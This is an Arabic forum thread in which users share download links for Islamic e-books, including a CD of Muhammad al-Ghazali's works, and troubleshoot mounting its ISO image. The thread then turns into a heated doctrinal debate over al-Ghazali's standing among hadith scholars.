ـ[ايمن شعبان]ــــــــ[09 - 09 - 08, 03:50 م]ـ
اريد تمام المنة بالرد على اعداء السنة الشيخ محمد اسماعيل المقدم pdf or doc
ـ[ saead] ــــــــ[09 - 09 - 08, 04:29 م]ـ
للأسف بحثت عنه ولم اجده ولكن في المرفقات بعض من تفريغات الشيخ اضافة لمكتبة الكترونية فيها بعض من كتبه
وان شاء الله اذا وجدت الكتاب المطلوب رفعته لك
عذرا(61/117)
عمل اليوم والليلة لابن السني كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[09 - 09 - 08, 04:38 م]ـ
عمل اليوم والليلة لابن السني كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
عَمَلُ اليَوْم وَالليْلة
ابْنُ السّنيّ
هذا الكتاب يعد من أهم الكتب التي صنفت في الأذكار حيث جمع فيه ابن السني ما أثر عن النبي صلى الله عليه وسلم من الأذكار التي كان يداوم عليها كأذكار الخلاء وأذكار الصلاة وأذكار الوضوء وغيرها. وما أثر كذلك في بعض الحالات النادرة مثل ما يقول إذا أصابته جراحة ... الخ
حجم البرنامج 647كيلوبايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i285.photobucket.com/albums/ll64/Abolmaaty/1-68.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/2-66.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/3-61.jpg
روابط التنزيل
http://uploads.bizhat.com/file/252107
أو
http://www.tafsir.org/vb/attachment.php?attachmentid=1924&d=1218813956
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)
ـ[ saead] ــــــــ[09 - 09 - 08, 04:40 م]ـ
شكرا لك بارك الله فيك
ـ[أحمد أبوالمعاطي]ــــــــ[10 - 09 - 08, 01:14 ص]ـ
شكرا لك بارك الله فيك
وإياكم أخي الحبيب جزاكم الله خيرا(61/118)
إسطوانة كتب الشيخ الغزالي كاملة
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:42 م]ـ
<! -- / icon and title --> <!-- message --> السلام عليكم
هذه إسطوانة قيمة تحوي كتب الشيخ محمد الغزالي -رحمه الله تعالى - كاملة.
لا تنسوني من الدعاء.
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:43 م]ـ
وهذه هي روابط التحميل:
الرابط الأول:
وهذه هي روابط التحميل:
1 - http://www.files-up.com/files/vge0sh...CD1.part01.rar
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:44 م]ـ
الرابط الثاني:
http://www.files-up.com/files/agdrs6...CD1.part02.rar -2
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:44 م]ـ
الرابط الثالث:
3 - http://www.files-up.com/files/yee1mmara2edes/CD1.part03.rar
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:45 م]ـ
الرابط الرابع والأخير:
4 - http://www.files-up.com/files/8fk2ha...CD1.part04.rar
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:46 م]ـ
أنتظر دعواتكم.
ـ[أبو عبدالعزيز الجهني]ــــــــ[09 - 09 - 08, 06:59 م]ـ
أولا أسأل الله العلي العظيم أن يسبغ عليك نعمه ظاهرة وباطنة وأن يعطيك من فضله حتى ترضى
ثانيا لتعلم أني في طلب هذه الأقراص منذ زمن فلقد قرأت عنها في اغلفة احد كتب الشيخ رحمه الله
ثالثا كنت قد قرأت انها اربعة اقراص تحوي جميع المؤلفات وجميع الصوتيات والمرئيات فحبذا لو اتحفتنا بها
رابعا الروابط لا تعمل (ابتسامة) والسلام
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:11 م]ـ
معذرة أخي خطأ غير مقصود وهذه هي الروابط شغالة إن شاء الله:
http://www.files-up.com/files/vge0shwkn3iihb/CD1.part01.rar
http://www.files-up.com/files/agdrs63htz9vjq/CD1.part02.rar
http://www.files-up.com/files/yee1mmara2edes/CD1.part03.rar
http://www.files-up.com/files/8fk2hag2cxgshb/CD1.part04.rar
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:13 م]ـ
جرب ثانية وأخبرني بالنتيجة.
ـ[شتا العربي]ــــــــ[09 - 09 - 08, 07:25 م]ـ
جزاكم الله خيرا وبارك فيكم والروابط الأخيرة تعمل الآن
بارك الله فيكم
ـ[إسماعيل سعد]ــــــــ[10 - 09 - 08, 02:44 ص]ـ
هل نزلها أحد وشغلها؟
ـ[أبو طلحة الحضرمي]ــــــــ[10 - 09 - 08, 05:10 ص]ـ
جزاك الله خيرًا وجار التحميل
ـ[إسماعيل سعد]ــــــــ[10 - 09 - 08, 01:29 م]ـ
وجزاك أخي إبراهيم وفقك الله تعالى.
ـ[شتا العربي]ــــــــ[10 - 09 - 08, 01:55 م]ـ
جزاكم الله خيرا وبارك فيكم
حملت ملفات الاسطوانة (4ملفات) وفككت الضغط عنها فخرج لي واحد كبير الحجم ( cd1) فككت الضغط عنه ولكن لم تعمل الاسطوانة هذه من الجهاز؟
فكيف تعمل بارك الله فيكم؟ وهل هي هكذا كاملة أم لها تكملة؟
وهل الكتب التي فيها مصورة عن المطبوع أم وورد غير موافقة للمطبوع؟ أم بصيغة الشاملة؟ فلم أتمكن من تشغيلها
وجزاكم الله خيرا وبارك فيكم
ـ[أبو طلحة الحضرمي]ــــــــ[10 - 09 - 08, 04:08 م]ـ
قمت بتحميلها واستخرجت الملف الأول من الضغط ولكن لم يعمل فما طريقتها بارك الله فيك
ـ[محمّد محمّد الزّواوي]ــــــــ[10 - 09 - 08, 04:27 م]ـ
مُجَرَّدُ سُؤَالٍ، كَيْفَ تَتَصَوَّرُونَ لَوْ رَأَى أَئِمَّةُ السُنَّةِ كَأَحْمَدِ بْنِ حَنْبَلٍ وَ مُحَمَّدِ بْنِ يَحْيَ الذُّهْلِيّ وَ أَبِي حَاتِمٍ وَ البَرْبَهَارِيّ ... كُتُبَ هَذَا الشَّيْخِ أَكَانُوا يُقْبِلُونَ عَلَيْهَا أَمْ يَرُدُّوهَا أَمْ يَتْرُكُوا النَّاسَ مَنْ شَاءَ أَخَذَ وَ مَنْ شَاءَ تَرَكَ.؟
وَ أُكَرِّرُ، مُجَرَّدُ سُؤَالٍ هَزُلَ مِنِ افْتِقَارِهِ لِجَوَابٍ.
ـ[إبراهيم أمين]ــــــــ[10 - 09 - 08, 04:37 م]ـ
** قمت بتحميل الملفات وفك الضغط عنها، وحرقها ببرنامج النيرو، وعند التشغيل تظهر رسالة (أدخل القرص الأصلي وأعد المحاولة)
** أرجو ممن يحتكرون المعرفة وينفون من خالفهم، ويرفضون الحوار أن يجيبوا: لمَ تصدى الشيخ الألباني لتخريج أحاديث كتاب فقه السيرة؟ وهل قام بسب الشيخ؟ وهل نصح أحداً بعدم قراءة كتبه؟
** لمَ لا تتسع صدورنا للمعرفة وللحوار الهادئ البناء؟ وفقنا الله وإياكم إلى كل خير، وكل عام والجميع بخير.
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:07 ص]ـ
جزاكم الله خيرا وبارك فيكم
حملت ملفات الاسطوانة (4ملفات) وفككت الضغط عنها فخرج لي واحد كبير الحجم ( cd1) ك
وجزاكم أخي الكريم
والخطوات لحد هذا تمام بعدها تحتاج إلى برنامج اسطوانة وهمية يستطيع تشغيل ملفات الأيزو لأن الملف الناتج وهو: ( cd1) عبارة عن ملف صورة اسطوانة وهمية بامتداد أيزو.
والبرنامج المفضل لدي هو:
PowerISO
تسطبه وتعمل ريستارت وتدخل الاسطوانة ( cd1) فيها سوف تفتح معك ثم تدخل علة مجلد setup وتسطب وكلما تريد التشغيل يجب إدخال الاسطوانة في الوهمية.
وباقي الأسئلة يمكنك الجواب عليها من داخل الاسطوانة.
(يُتْبَع .. اقلب الصفحة)
(61/119)
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:12 ص]ـ
وهل هي هكذا كاملة أم لها تكملة؟
الاسطوانة كاملة بالنسبة لمكتبة الكتب المقروءة، ولكن هناك ثلاث اسطوانات أخرى للفيديو وغيره.
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:13 ص]ـ
وهذا البرنامج للأسطوانة الوهمية الذي أشرتُ إليه لتشغيلها قد وضعته لكم وهذا رابطه:
http://www.ahlalhdeeth.com/vb/showthread.php?p=894368#post894368
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:15 ص]ـ
** قمت بتحميل الملفات وفك الضغط عنها، وحرقها ببرنامج النيرو، وعند التشغيل تظهر رسالة (أدخل القرص الأصلي وأعد المحاولة)
لازم برنامج الاسطوانة الوهمية، وتكون داخلة فيها والأمر سهل للغاية ..
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:17 ص]ـ
قمت بتحميلها واستخرجت الملف الأول من الضغط ولكن لم يعمل فما طريقتها بارك الله فيك
بارك الله فيك
يجب فك الضغط ولكن بعد تنزيل الأجزاء الأربعة وسينتج ملف واحد بامتداد أيزو وكمل كما شرحت للإخوة.
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 12:20 ص]ـ
مُجَرَّدُ سُؤَالٍ، كَيْفَ تَتَصَوَّرُونَ لَوْ رَأَى أَئِمَّةُ السُنَّةِ كَأَحْمَدِ بْنِ حَنْبَلٍ وَ مُحَمَّدِ بْنِ يَحْيَ الذُّهْلِيّ وَ أَبِي حَاتِمٍ وَ البَرْبَهَارِيّ ... كُتُبَ هَذَا الشَّيْخِ أَكَانُوا يُقْبِلُونَ عَلَيْهَا أَمْ يَرُدُّوهَا أَمْ يَتْرُكُوا النَّاسَ مَنْ شَاءَ أَخَذَ وَ مَنْ شَاءَ تَرَكَ.؟
وَ أُكَرِّرُ، مُجَرَّدُ سُؤَالٍ هَزُلَ مِنِ افْتِقَارِهِ لِجَوَابٍ.
أنا رأيي الشخصي أن الإمام أحمد لو رآه وعرفه لكان شديد الإعجاب به.
ولو أنت عرفته جيدا وقرأت كتبه بحيادية لأنصفته، وبعد فكل إنسان يؤخذ من كلامه ويرد عليه إلا المعصوم - صَلَّى اللَّهُ عَلَيْهِ وَسَلَّم َ -
ـ[أبو محمد القحطاني]ــــــــ[11 - 09 - 08, 01:05 ص]ـ
أنا رأيي الشخصي أن الإمام أحمد لو رآه وعرفه لكان شديد الإعجاب به.
ولو أنت عرفته جيدا وقرأت كتبه بحيادية لأنصفته، وبعد فكل إنسان يؤخذ من كلامه ويرد عليه إلا المعصوم - صَلَّى اللَّهُ عَلَيْهِ وَسَلَّم َ -
لكن الشيخ العلامة محدث الديار اليمينة يخالفك في الرأي!
يقول الشيخ مقبل- غفر الله له -
((والله
ثم والله
ثم والله
لو رأى الإمام أحمد الغزالي لقال عنه: زنديق،
ولكني لا أجرأ على ذلك ... )) [من شرح مقدمة صحيح مسلم]
قال أبو محمد: أعرف أن تعليقي هذا مصيره الحذف، وأحترم رأي الإخوة المشرفين وأقدر جهودهم، وجزاهم الله خيراً.
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 01:51 ص]ـ
وجزاكم الله خيرا أخي وبارك فيكم
وتدخل الاسطوانة ( cd1) فيها سوف تفتح معك ثم تدخل علة مجلد setup وتسطب
أنا الحقيقة فككت الضغط عن الملفات الأربعة فخرجت لي cd1 على شكل اسطوانة مضغوطة ففككت الضغط عنها ببرنامج وينرار فخرجت لي ملفات 675 ميجا وغيرت اسمها وجعلته بالعربي
وأنزلت ملف الاسطوانة الوهمية الخاصة بالأيزو الذي تفضلت برفعه مشكورا وعملت نفس الخطوات ودخلت على التسطيب ولكن كل مرة تفشل فغيرت اسم الاسطوانة إلى cd1 مرة أخرى وجربت ففشلت أيضا
فهل كان ينبغي أن لا أفك الضغط بوينرار عن cd1 وهل يلزمني إعادة تحميل الأجزاء الأربعة مرة أخرى؟ أم ما هي المشكلة بالضبط؟
وجزاكم الله خيرا
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 01:52 ص]ـ
الاسطوانة كاملة بالنسبة لمكتبة الكتب المقروءة، ولكن هناك ثلاث اسطوانات أخرى للفيديو وغيره.
ليتك تتكرم أخي باسطوانات الفيديو هذه بارك الله فيكم
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 01:58 ص]ـ
وهل يمكن بارك الله فيكم أن أجمع على دي في دي واحد هذه الاسطوانة مع اسطوانات الفيديو إن يسر لكم رفعها
وهل يمكن تشغيلها من الدي في دي؟
بنفس الطريقة أم ماذا؟
وجزاكم الله خيرا وبارك فيكم
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:07 ص]ـ
لكن الشيخ العلامة محدث الديار اليمينة يخالفك في الرأي!
يقول الشيخ مقبل- غفر الله له -
((والله
ثم والله
ثم والله
لو رأى الإمام أحمد الغزالي لقال عنه: زنديق،
ولكني لا أجرأ على ذلك ... )) [من شرح مقدمة صحيح مسلم]
قال أبو محمد: أعرف أن تعليقي هذا مصيره الحذف، وأحترم رأي الإخوة المشرفين وأقدر جهودهم، وجزاهم الله خيراً.
لا حول ولا قوة إلا بالله .. لماذا هذا التعصب؟
الحمد لله أنني أتعبد الله بكتابه وسنة نبيه وليس برأي محدث الديار.
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:14 ص]ـ
وجزاكم الله خيرا أخي وبارك فيكم
أنا الحقيقة فككت الضغط عن الملفات الأربعة فخرجت لي cd1 على شكل اسطوانة مضغوطة ففككت الضغط عنها ببرنامج وينرار فخرجت لي ملفات 675 ميجا وغيرت اسمها وجعلته بالعربي
وأنزلت ملف الاسطوانة الوهمية الخاصة بالأيزو الذي تفضلت برفعه مشكورا وعملت نفس الخطوات ودخلت على التسطيب ولكن كل مرة تفشل فغيرت اسم الاسطوانة إلى cd1 مرة أخرى وجربت ففشلت أيضا
فهل كان ينبغي أن لا أفك الضغط بوينرار عن cd1 وهل يلزمني إعادة تحميل الأجزاء الأربعة مرة أخرى؟ أم ما هي المشكلة بالضبط؟
وجزاكم الله خيرا
نعم أخي ما كان ينبغي فك cd1 ولو عند الملفات الأصلية التي نزلتها استعملها لينتج الملف cd1 بامتداد أيزو وأدخلها في الوهمية وشغل.
(يُتْبَع .. اقلب الصفحة)
(61/120)
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:16 ص]ـ
يعني لازم يتوافر الملف cd1 لأنه هو الصورة أو الاسطوانة الأصلية التي يتعرف عليها المشغل.
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 02:16 ص]ـ
نعم أخي ما كان ينبغي فك cd1 ولو عند الملفات الأصلية التي نزلتها استعملها لينتج الملف cd1 بامتداد أيزو وأدخلها في الوهمية وشغل.
إذن أعيد التحميل مرة أخرى والله المستعان
وجزاكم الله خيرا أخي وبارك فيكم
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:19 ص]ـ
أما بالنسبة لباقي الأجزاء من المكتبة الصوتية والمرئية وغيرها فسأحاول الحصول عليها لأنها عند أخ وسوف أعرض عليه إن شاء الله تعالى.
وعندها سنرى مسألة dvd
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 02:20 ص]ـ
بارك الله فيكم وجزاكم الله خيرا
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:24 ص]ـ
أنا آسف لتعبك ولكن ما تصورت أن أحدا لا يعرف امتداد الملف ويعرف مشغله.
موفق إن شاء الله.
ـ[أحمد سيدأحمد]ــــــــ[11 - 09 - 08, 02:55 ص]ـ
ايها الأخوة الكرام هذا الملف يحتاج إلي برنامج نيرو 7 وعلي ما يبدو انه ناقص لأنه عندما يفتح معي واريد أن أشغل المكتبة الصوتية مثلا تخرج رسالة تقول من فضلك أدخل القرص رقم 3 فأين ملفات هذا القرص , وعندما أريد مسارا آخر يقول ادخل القرص رقم 4 نرجوا من الأخ الكريم الذي قام برفع هذا البرنامج والذي هو من أصدارات نهضة مصر أن يفيدنا في هذا
والله هو الموفق
ـ[أبو محمد القحطاني]ــــــــ[11 - 09 - 08, 03:43 ص]ـ
لا حول ولا قوة إلا بالله .. لماذا هذا التعصب؟
الحمد لله أنني أتعبد الله بكتابه وسنة نبيه وليس برأي محدث الديار.
سامحك الله وعفا عنك ...
ـ[أبو عبد الرحمن الطاهر]ــــــــ[11 - 09 - 08, 10:07 ص]ـ
جزاك الله خيرا وبارك فيك
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 02:07 م]ـ
أنا آسف لتعبك ولكن ما تصورت أن أحدا لا يعرف امتداد الملف ويعرف مشغله.
موفق إن شاء الله.
بارك الله فيكم أخي الحبيب وجزاكم الله خيرا وجعلك الله من عتقائه من النار وأنا الذي أخطأت بحذف الملفات
والحمد لله استطعت تحميلها مرة أخرى وخرجت لي cd1 بشكل أصفر نفس شكل برنامج الاسطوانة
لكن حاولت فتحها فلم أستطع
وقد اخترت من برنامج الاسطوانة فتح ثم اخترت cd1 وظهر بداخلها مجلد التسطيب وضغطت على أيقونة سطب فخرجت لي شاشة بها خيار: تشغيل الملف مباشرة وأخرى تقول بإخراج الملفات وجربت هذين الخيارين ولم تعمل معي الاسطوانة
وآخر مرة خرجت لي رسالة تقول أدخل الاسطوانة في الدرايف
فهل يلزم أن أنسخ الاسطوانة على سي دي وأضعها في السي دي روم؟ أم يمكن تشغيلها من على الجهاز؟ وكيف
معذرة أتعبتك معي
جزاك الله عني خيرا
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 03:58 م]ـ
ايها الأخوة الكرام هذا الملف يحتاج إلي برنامج نيرو 7 وعلي ما يبدو انه ناقص لأنه عندما يفتح معي واريد أن أشغل المكتبة الصوتية مثلا تخرج رسالة تقول من فضلك أدخل القرص رقم 3 فأين ملفات هذا القرص , وعندما أريد مسارا آخر يقول ادخل القرص رقم 4 نرجوا من الأخ الكريم الذي قام برفع هذا البرنامج والذي هو من أصدارات نهضة مصر أن يفيدنا في هذا
والله هو الموفق
راجع أخي المشاركة رقم 19 ورقم 32 من هذا الموضوع تجد الجواب.
ـ[أبو محمد القحطاني]ــــــــ[11 - 09 - 08, 05:16 م]ـ
مقارنة سريعة:
قال الحاكم في (معرفة علوم الحديث):
سمعت أبا الحسين محمد بن أحمد الحنظلي ببغداد يقول سمعت أبا إسماعيل محمد ابن إسماعيل الترمذي يقول:
كنت أنا وأحمد بن الحسن الترمذي عند أبي عبد اللّه أحمد بن محمد بن حنبل فقال له أحمد بن الحسن: يا أبا عبد اللّه ذكروا لابن أبي قتيلة بمكة أصحاب الحديث، فقال: أصحاب الحديث قوم سوء. فقام أبو عبد اللّه وهو ينفض ثوبه فقال: زنديق زنديق زنديق ودخل البيت. انتهى.
قلت:
رحم الله أبا عبد الله، ماذا لو سمع الغزالي وهو يقول عن أهل الحديث والسلفيين في ((همومه)):
((جهلة .. )) ص44
((بلاء على السنة، وفتانين على الإسلام كله) ص102
(الواقع أن الأمراض النفسية عند هؤلاء المتعصبين .. )) ص12
((أصحاب الفكر المنخل .. )) ص21
((عقول بها مس .. )) ص144
((فكم ظلمت السنة ممن يتشدقون بها .. ))
((خفاف الفقه.)) ص106
(يُتْبَع .. اقلب الصفحة)
(61/121)
((أصحاب العقد النفسية، سواء كانت غيرتهم من ضعف جنسي أو شبق جنسي)) ص143
((متكلمين باسم الإسلام .. )) ص144
((إثارة هذه القضايا دون غيرها من أساسيات الإسلام مرضٌ عقلي، إنه ضرب من الخبال ... )) ص152
((وإننا نحمي السنة من أفهام الأراذل ... )) ص152
((هؤلاء الحمقى ... )) ص161
وماذا يقول عن أئمة الحديث والسنة.؟
يقول عن حافظ الدنيا ابن حجر ((فهل وعى ذلك من قبل حديث الغرانيق وقال: إن تظاهر الروايات يجعل له أصلاً ما، والقائل محدث كبير))!! [الطريق من هنا ص61]
بل الأدهى والأمر يقول عن مجدد الدعوة محمد بن عبد الوهاب رحمه الله:
((وقد قبِل فرية الغرانيق مدعٍ للسلفية كبير ووضعها في سيرة ألفها ... ))
ويقول عمن يوجب ستر وجه المرأة:
((الجهال القاصرين)) ص 141 من همومه.
ومن الذي يقول بوجوبه في زماننا؟ أليسوا أئمة الهدى ومصابيح الدجى؟ كابن باز وابن عثيمين والشنقيطي وغيرهم كثير؟!
ولا يكتفي الغزالي بتجهيلهم فقط بل استمع إليه وهو يقول عمن يرى وجوب ستر الوجه:
((إن أناساً غلبهم الهوى الجنسي هم الذين شرعوا هذه التقاليد))!
كبرت كلمة تخرج من أفواههم إن يقولون إلا كذباً، ولا حول ولا قوة إلا بالله.
قال الشيخ المحقق مشهور حسن ((هذه الكلمة لو صدرت من ملحد كافر كسلمان رشدي لك يكن في الأمر غرابة، ولكن أن تصدر من مؤلف مسلم يصف نفسه على غلاف كتابه بوصف (داعية) فهذا الأمر العجب والمصاب الأكبر .. !))
قلت: وبالجملة فإن كلمات الغزالي ماهي إلا شرح لقول ابن مليكة عن أهل الحديث أنهم (قومُ سوء) والله الموفق.
وأما كتابه ((السنة بين أهل الفقه وأهل الحديث))
فهو الكتاب الذي أخرج فيه مؤلفه ما في قلبه، نسأل الله السلامة، فأنكر كثيراً من الأحاديث الصحيحة، وقال:
((علينا أن نختار للناس أقرب الأحكام إلى تقاليدهم))! ص52
وقد تناوله أهل العلم والكُتاب بالرد وهذه هي لمن شم رائحة الإنصاف:
1 - الإمام الألباني في ثنايا تخريجه لفقه السيرة، وغيره من المواضع.
2 - جناية الغزالي على الحديث وأهله - أشرف عبد المقصود.
3 - كشف موقف الغزالي – للدكتور ربيع المدخلي.
4 - حوار هادىء مع الغزالي – للدكتور سلمان العودة.
5 - براءة أهل الفقه والحديث من الغزالي – مصطفى سلامة.
6 - الغزالي في مجلس الإنصاف – للدكتور عائض القرني.
7 - تفنيد أخطاء الغزالي – عبد الرحمن زعيتر.
8 - أزمة الحوار – جمال سلطان.
9 - نظرات في كتاب هموم داعية – بقلم السلومي – مقال.
10 - زوابع في وجه السنة – صلاح الدين مقبول، ص185.
11 - كتب حذر منها العلماء – مشهور حسن – المجلد الأول ص214 ومنه نقلت.
وغيرهم كثير فجزاهم الله خيراً.
وأختم بما أسنده الحاكم في (معرفة علوم الحديث) قال: سمعت أبا علي الحسين بن علي الحافظ يقول: سمعت جعفر بن سنان الو اسطي يقول: سمعت أحمد بن سنان القطان يقول: "ليس في الدنيا مبتدع إلا وهو يبغض أهل الحديث"والله أعلم
تنبيه:ذكر بعض الإخوة كلاماً طيباً حول فقه الخلاف ومراعاة المخالف ... الخ، وهو كلام جيد، لكنه للأسف في غير موضعه! فما علاقة شتم أهل السنة والحديث بالفقه والاجتهاد؟
وليت شعري هل الطعن في أئمة السنة من المسائل التي يسوغ فيها الخلاف؟!
هل رد السنة لمجرد العقل والهوى – بتصريح الغزالي نفسه – يعتبر من مسائل الاجتهاد؟!
خلطٌ عجيب!
ولا حول ولا قوة إلا بالله ...
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 06:10 م]ـ
أخي الكريم القحطاني، جزاكم الله كل خير
ولن أرد على ما كتبته ليس لعدم وجود رد ولكن لأن الدليل لا يقنع إلا المحايد ولا أعتقد أن حضرتك منهم، ولذلك أدعوك إلى ترك الطعن والسب ورمي العلماء بالزندقة وغيرها، فهذا هو ما تعيبه أنت على الرجل فكيف تقع أنت فيه وتجد لنفسك العذر ولا تجد له مثل ذلك؟
كما أنك أخي أثرت تعليقات في غير موضعها، ولو أوردتها في موضوع خاص بذلك لأحسنت فعلاً ولشاركناك واستفضنا، ولكن الموضوع كما ترى فضيلتك محصور في عرض كتب الرجل التي -على التنزل والافتراض- تحمل الطيب والخبيث، كمعظم كتابات الآدميين وأعمالهم، فمن ذا الذي ما ساء قط؟ ومن له الحسنى فقط؟
كما أنه على التنزل أيضًا لو كان كل ما كتبه خبيثًا فكيف عرفته سيادتك؟
ألم تقرأ كتبه؟
إن قلت: لا فأنت وأهل العلم جميعًا يعلمون أن الطعن على لسان الغير لا يصح.
وإن قلت: نعم قرأتُ كتبه وعلمت ذلك فهل قراءة كتبه حكرًا على حضؤتك أو بعض أهل العلم دون بعض؟
علمًا بأنه لا يدخل ملتقانا إلا طلاب العلم الشرعي والعلماء وكلهم يستطيع أن يميز كما ميزتَ.
فدع الناس ينهلون مما نهلتَ، ودعهم يطالعون ما طالعت، فما حلَّ لك حلَّ لغيرك.
ودعني أشرح للناس كيفية الاستعمال بارك الله فيك، وجمعنا الله وإياكم على الخير دائمًا.
(يُتْبَع .. اقلب الصفحة)
(61/122)
ـ[ابو عبد الله البلغيتي]ــــــــ[11 - 09 - 08, 06:39 م]ـ
مقارنة سريعة:
قال الحاكم في (معرفة علوم الحديث):
سمعت أبا الحسين محمد بن أحمد الحنظلي ببغداد يقول سمعت أبا إسماعيل محمد ابن إسماعيل الترمذي يقول:
كنت أنا وأحمد بن الحسن الترمذي عند أبي عبد اللّه أحمد بن محمد بن حنبل فقال له أحمد بن الحسن: يا أبا عبد اللّه ذكروا لابن أبي قتيلة بمكة أصحاب الحديث، فقال: أصحاب الحديث قوم سوء. فقام أبو عبد اللّه وهو ينفض ثوبه فقال: زنديق زنديق زنديق ودخل البيت. انتهى.
قلت:
رحم الله أبا عبد الله، ماذا لو سمع الغزالي وهو يقول عن أهل الحديث والسلفيين في ((همومه)):
((جهلة .. )) ص44
((بلاء على السنة، وفتانين على الإسلام كله) ص102
(الواقع أن الأمراض النفسية عند هؤلاء المتعصبين .. )) ص12
((أصحاب الفكر المنخل .. )) ص21
((عقول بها مس .. )) ص144
((فكم ظلمت السنة ممن يتشدقون بها .. ))
((خفاف الفقه.)) ص106
((أصحاب العقد النفسية، سواء كانت غيرتهم من ضعف جنسي أو شبق جنسي)) ص143
((متكلمين باسم الإسلام .. )) ص144
((إثارة هذه القضايا دون غيرها من أساسيات الإسلام مرضٌ عقلي، إنه ضرب من الخبال ... )) ص152
((وإننا نحمي السنة من أفهام الأراذل ... )) ص152
((هؤلاء الحمقى ... )) ص161
وماذا يقول عن أئمة الحديث والسنة.؟
يقول عن حافظ الدنيا ابن حجر ((فهل وعى ذلك من قبل حديث الغرانيق وقال: إن تظاهر الروايات يجعل له أصلاً ما، والقائل محدث كبير))!! [الطريق من هنا ص61]
بل الأدهى والأمر يقول عن مجدد الدعوة محمد بن عبد الوهاب رحمه الله:
((وقد قبِل فرية الغرانيق مدعٍ للسلفية كبير ووضعها في سيرة ألفها ... ))
ويقول عمن يوجب ستر وجه المرأة:
((الجهال القاصرين)) ص 141 من همومه.
ومن الذي يقول بوجوبه في زماننا؟ أليسوا أئمة الهدى ومصابيح الدجى؟ كابن باز وابن عثيمين والشنقيطي وغيرهم كثير؟!
ولا يكتفي الغزالي بتجهيلهم فقط بل استمع إليه وهو يقول عمن يرى وجوب ستر الوجه:
((إن أناساً غلبهم الهوى الجنسي هم الذين شرعوا هذه التقاليد))!
كبرت كلمة تخرج من أفواههم إن يقولون إلا كذباً، ولا حول ولا قوة إلا بالله.
قال الشيخ المحقق مشهور حسن ((هذه الكلمة لو صدرت من ملحد كافر كسلمان رشدي لك يكن في الأمر غرابة، ولكن أن تصدر من مؤلف مسلم يصف نفسه على غلاف كتابه بوصف (داعية) فهذا الأمر العجب والمصاب الأكبر .. !))
قلت: وبالجملة فإن كلمات الغزالي ماهي إلا شرح لقول ابن مليكة عن أهل الحديث أنهم (قومُ سوء) والله الموفق.
وأما كتابه ((السنة بين أهل الفقه وأهل الحديث))
فهو الكتاب الذي أخرج فيه مؤلفه ما في قلبه، نسأل الله السلامة، فأنكر كثيراً من الأحاديث الصحيحة، وقال:
((علينا أن نختار للناس أقرب الأحكام إلى تقاليدهم))! ص52
وقد تناوله أهل العلم والكُتاب بالرد وهذه هي لمن شم رائحة الإنصاف:
1 - الإمام الألباني في ثنايا تخريجه لفقه السيرة، وغيره من المواضع.
2 - جناية الغزالي على الحديث وأهله - أشرف عبد المقصود.
3 - كشف موقف الغزالي – للدكتور ربيع المدخلي.
4 - حوار هادىء مع الغزالي – للدكتور سلمان العودة.
5 - براءة أهل الفقه والحديث من الغزالي – مصطفى سلامة.
6 - الغزالي في مجلس الإنصاف – للدكتور عائض القرني.
7 - تفنيد أخطاء الغزالي – عبد الرحمن زعيتر.
8 - أزمة الحوار – جمال سلطان.
9 - نظرات في كتاب هموم داعية – بقلم السلومي – مقال.
10 - زوابع في وجه السنة – صلاح الدين مقبول، ص185.
11 - كتب حذر منها العلماء – مشهور حسن – المجلد الأول ص214 ومنه نقلت.
وغيرهم كثير فجزاهم الله خيراً.
وأختم بما أسنده الحاكم في (معرفة علوم الحديث) قال: سمعت أبا علي الحسين بن علي الحافظ يقول: سمعت جعفر بن سنان الو اسطي يقول: سمعت أحمد بن سنان القطان يقول: "ليس في الدنيا مبتدع إلا وهو يبغض أهل الحديث"والله أعلم
تنبيه:ذكر بعض الإخوة كلاماً طيباً حول فقه الخلاف ومراعاة المخالف ... الخ، وهو كلام جيد، لكنه للأسف في غير موضعه! فما علاقة شتم أهل السنة والحديث بالفقه والاجتهاد؟
وليت شعري هل الطعن في أئمة السنة من المسائل التي يسوغ فيها الخلاف؟!
هل رد السنة لمجرد العقل والهوى – بتصريح الغزالي نفسه – يعتبر من مسائل الاجتهاد؟!
خلطٌ عجيب!
ولا حول ولا قوة إلا بالله ...
رضي الله عنك أبا محمد القحطاني وكثر من أمثالك فالرجل كانا معتزليا ناصرا للمدرسة العقلانية وأعجب من الإخوة الذين يقرؤون كتبه ويدافعون عنه وليس من شروط الملتقى نشر مثل هذه الكتب اللهم إلا إذا كان تصنيفها في مكتبة الضلال لطالب العلم الناقد النجيب.
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 07:00 م]ـ
